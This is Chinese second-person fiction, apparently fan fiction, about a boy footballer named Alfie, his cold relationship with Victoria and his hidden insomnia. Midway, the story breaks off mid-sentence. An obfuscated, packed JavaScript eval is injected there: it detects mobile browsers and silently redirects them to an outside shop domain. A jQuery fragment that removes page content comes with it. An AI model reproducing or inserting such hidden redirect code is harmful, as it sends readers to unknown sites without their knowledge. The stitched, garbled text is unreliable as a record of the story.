2013年5月
十二岁。U13联赛最后一轮，主场对阵切尔西U13。你是队长——不是因为你嗓门大，是因为教练说“你站那儿不说话，别人就不敢乱动”。
比分2-2，第78分钟，你从右边路突破，内切，左脚兜射远角。球撞在立柱内侧弹进网窝。3-2。你跑向角旗区，停下来，弯腰，双手撑膝盖，大口喘气。
队友扑过来压在你身上，你让他们压了五秒钟，然后推开他们，走回中圈。
你没有笑。
终场哨响。3-2，赢了。你弯腰解开护腿板，慢慢走下场。
教练马丁在场边等你，伸出手想击掌，你跟他握了一下——跟个大人一样，不是击掌，是握手。
“你这场至少值两个‘全场最佳’。”马丁说。
“无所谓。”你说。
赛季颁奖仪式在俱乐部小礼堂。每个家长都来了，举着手机拍自己的孩子，闪光灯闪成一片。你的座位上只有艾琳。她不会用手机录像，就坐着给你鼓掌。
你上台领最佳球员奖杯。主持人是俱乐部的青训主管，他问：“阿尔菲，这个赛季进了15个球，9个助攻，最想感谢谁？”
你拿着话筒，顿了两秒。
“感谢我自己。”
台下安静了半秒钟，然后马丁带头鼓掌。掌声稀稀拉拉的，有人觉得你傲，有人觉得你酷，有人觉得你可怜。你不在乎。
颁奖结束后，你抱着奖杯走到角落里坐着。艾琳过来：“要不要我帮你拿着？”你说：“放后备箱就行。”
回家后，你把奖杯塞进衣柜最里面，用一堆旧衣服盖住。你再也没有拿出来过。
那天晚上你躺在床上，手机亮了。是大卫发来的短信：“听你教练说你拿了最佳球员，恭喜。”你看了，没有回复。你把手机屏幕朝下放在床头柜上，翻了个身，对着墙。
墙是白色的。
——
2014年1月
十二岁。深夜，你下楼倒水。厨房的灯坏了，只有冰箱的冷光照亮一小块地面。你端着玻璃杯路过书房，看到门缝里漏出光线，听见维多利亚在打电话。
“我知道他有天赋，但态度太冷了……媒体不喜欢这样的形象……我不想让贝克汉姆这个品牌受损……”
你在门外站住了。
“他要是能像他父亲那样会说话，代言早就翻倍了……我又不是没安排过采访，他自己不配合……你说他是不是故意跟我们作对？”
你不知道电话那头是谁。可能是她的公关，可能是她的助理，可能是她的朋友。你不确定。但你知道她在说你。
你站在书房门口，赤着脚，地板很凉。你等了大概十秒钟，想等她说完，但她没有停下来的意思。你转身走了。
回到房间，你把水杯放在床头柜上，没有喝。你坐在床边，看着窗外的伦敦夜景。远处有灯，近处有风，窗帘轻轻晃。
第二天早上，你让艾琳转告维多利亚：以后所有采访，她会提前收到问题列表，你可以写好答案。你需要她做的只是确认答案
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17640533|205385||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不会让“贝克汉姆品牌受损”。
维多利亚很快同意了。
你们的沟通从此变成了公关流程。她给你发邮件，你回复。没有电话，没有见面，没有“你吃饭了吗”。一切都干净、高效、冰冷。
你后来想，这大概是她最满意的方式。
——
2015年2月
十三岁。体能测试日。
三十米冲刺，你是全队最快的——3.8秒。启动那一下，教练说像被弹弓弹出去的。
立定跳远、折返跑、灵敏测试，你全是前三。马丁拿着测试结果在数据板边摇头：“这小子快得离谱。”
但你跑完测试，每次都一个人走到角落，靠着围栏，把外套拉链拉到最高，看着别人继续测试。没人过来跟你说话，你也没过去跟别人说话。
那天晚上你回到公寓——艾琳现在只是白天接送，晚上你一个人住。你洗完澡，躺在床上，闭着眼睛，但脑子停不下来。你想到了很多事：维多利亚的电话、大卫的短信、教练的期待、队友的沉默、自己的名字。
四点，你醒了。看天花板。五点，你又闭上眼睛。六点，闹钟响了。
你起床，洗脸，穿衣服，下楼。司机已经在门口等了。
你从来没有告诉任何人你失眠。
你考虑过找队医开安眠药，但你知道，一旦被标记为“心理问题”，青训档案上就会留下记录。职业俱乐部最怕心理不稳定的球员。你不想冒那个险。
所以你选择了——忍着。